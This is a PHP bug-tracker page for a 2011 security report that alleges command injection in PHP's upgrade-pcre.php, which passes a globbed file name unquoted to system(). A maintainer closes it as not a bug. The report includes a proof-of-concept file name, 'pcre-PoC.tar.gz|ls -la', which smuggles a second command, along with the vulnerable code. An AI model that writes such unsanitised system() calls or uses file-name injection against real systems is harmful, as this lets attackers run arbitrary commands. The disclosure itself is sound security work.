php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login

go to bug id or search bugs for

Sec Bug #55611 command injection
Submitted: 2011-09-05 18:05 UTC Modified: 2011-09-06 04:51 UTC
From: thinhhq at vng dot com dot vn Assigned:
Status: Not a bug Package: Unknown/Other Function
PHP Version: 5.3.8 OS: linux, unix
Private report: No CVE-ID: None
View Developer Edit
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: thinhhq at vng dot com dot vn
New email:
PHP Version: OS:

 

 [2011-09-05 18:05 UTC] thinhhq at vng dot com dot vn 
Description:
------------
Description:
Command injection flaw found in /php-5.3.8/ext/pcre/upgrade-pcre.php:
-----snip snip ------
$pattern = 'pcre-*.tar.*';
$newpcre = glob($pattern);
if (count($newpcre) > 1) {
	echo "more than one '$pattern' file. aborting\n";
	print_r($newpcre);
	exit;}
if (count($newpcre) == 0) {
	die("need one '$pattern' file. aborting.\n");
}
$newpcre = $newpcre[0];
if (strpos($newpcre, 'gz')) {
	system("tar xfz $newpcre"); //command injection
} elseif (strpos($newpcre, 'bz2')) {
	system("tar xfj $newpcre");//command injection
} else {
	die("file type not recognized: $newpcre\n");

-----snip snip ------

Test script:
---------------
PoC:
$touch "pcre-PoC.tar.gz|ls -la"
$ php upgrade-pcre.php 
tar: pcre-PoC.tar.gz: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Exiting with failure status due to previous errors
total 100
drwxr-xr-x  4 g4mm4 g4mm4  4096 2011-09-05 12:37 .
drwxr-xr-x 79 g4mm4 g4mm4  4096 2011-08-23 05:33 ..
-rw-r--r--  1 g4mm4 g4mm4  2764 2009-08-11 17:40 config0.m4
-rw-r--r--  1 g4mm4 g4mm4   714 2010-12-13 13:43 config.w32
-rw-r--r--  1 g4mm4 g4mm4    40 2007-09-26 11:44 CREDITS
drwxr-xr-x  4 g4mm4 g4mm4  4096 2011-08-23 05:32 pcrelib
-rw-r--r--  1 g4mm4 g4mm4     0 2011-09-05 12:37 pcre-PoC.tar.gz|ls -la
-rw-r--r--  1 g4mm4 g4mm4 59989 2011-08-05 18:39 php_pcre.c
-rw-r--r--  1 g4mm4 g4mm4   212 2009-01-11 08:59 php_pcre.def
-rw-r--r--  1 g4mm4 g4mm4  3280 2010-12-31 21:19 php_pcre.h
drwxr-xr-x  2 g4mm4 g4mm4  4096 2011-08-23 05:32 tests
-rw-r--r--  1 g4mm4 g4mm4  2876 2011-05-13 03:00 upgrade-pcre.php
processing pcrelib/AUTHORS... pcre-PoC/AUTHORS is not available any more


Expected result:
----------------
$ php upgrade-pcre.php

gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Exiting with failure status due to previous errors
processing pcrelib/AUTHORS... pcre-dsada/AUTHORS is not available any more


Actual result:
--------------
tar: pcre-PoC.tar.gz: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Exiting with failure status due to previous errors
total 100
drwxr-xr-x  4 g4mm4 g4mm4  4096 2011-09-05 12:37 .
drwxr-xr-x 79 g4mm4 g4mm4  4096 2011-08-23 05:33 ..
-rw-r--r--  1 g4mm4 g4mm4  2764 2009-08-11 17:40 config0.m4
-rw-r--r--  1 g4mm4 g4mm4   714 2010-12-13 13:43 config.w32
-rw-r--r--  1 g4mm4 g4mm4    40 2007-09-26 11:44 CREDITS
drwxr-xr-x  4 g4mm4 g4mm4  4096 2011-08-23 05:32 pcrelib
-rw-r--r--  1 g4mm4 g4mm4     0 2011-09-05 12:37 pcre-PoC.tar.gz|ls -la
-rw-r--r--  1 g4mm4 g4mm4 59989 2011-08-05 18:39 php_pcre.c
-rw-r--r--  1 g4mm4 g4mm4   212 2009-01-11 08:59 php_pcre.def
-rw-r--r--  1 g4mm4 g4mm4  3280 2010-12-31 21:19 php_pcre.h
drwxr-xr-x  2 g4mm4 g4mm4  4096 2011-08-23 05:32 tests
-rw-r--r--  1 g4mm4 g4mm4  2876 2011-05-13 03:00 upgrade-pcre.php
processing pcrelib/AUTHORS... pcre-PoC/AUTHORS is not available any more

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2011-09-05 18:29 UTC] scottmac@php.net
-Status: Open +Status: Bogus
 [2011-09-05 18:29 UTC] scottmac@php.net 
this is a utility script for PHP devleopers to update the bundled PCRE. If you 
can write to my filesystem then I think there are bigger problems, could you add 
a new *.c file?
 [2011-09-06 04:37 UTC] thinhhq at vng dot com dot vn 
Hi Scott,
I think its seriously a bug when i read the comment in file source:
$ more -4 upgrade-pcre.php
<?php
// script to upgrade PCRE. just drop the pcre-x.x.tar.xx here and run the script
...
...
Maybe, pcre-x.x.tar.xx can downloadable everywhere from unknow sources???After that, sysadmin just think they are decompressing pcre-x.x.tar :).
Regards
--Thinhhq
 [2011-09-06 04:51 UTC] scottmac@php.net 
This isn't for sysadmins. This is for PHP core contributors who are upgrading 
PCRE for the bundled release. I'll update the comment next time I run the script 
and upgrade PCRE.

At the moment its about 4 people who use this script before committing the 
results.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved. 		Last updated: Thu Dec 26 11:01:30 2024 UTC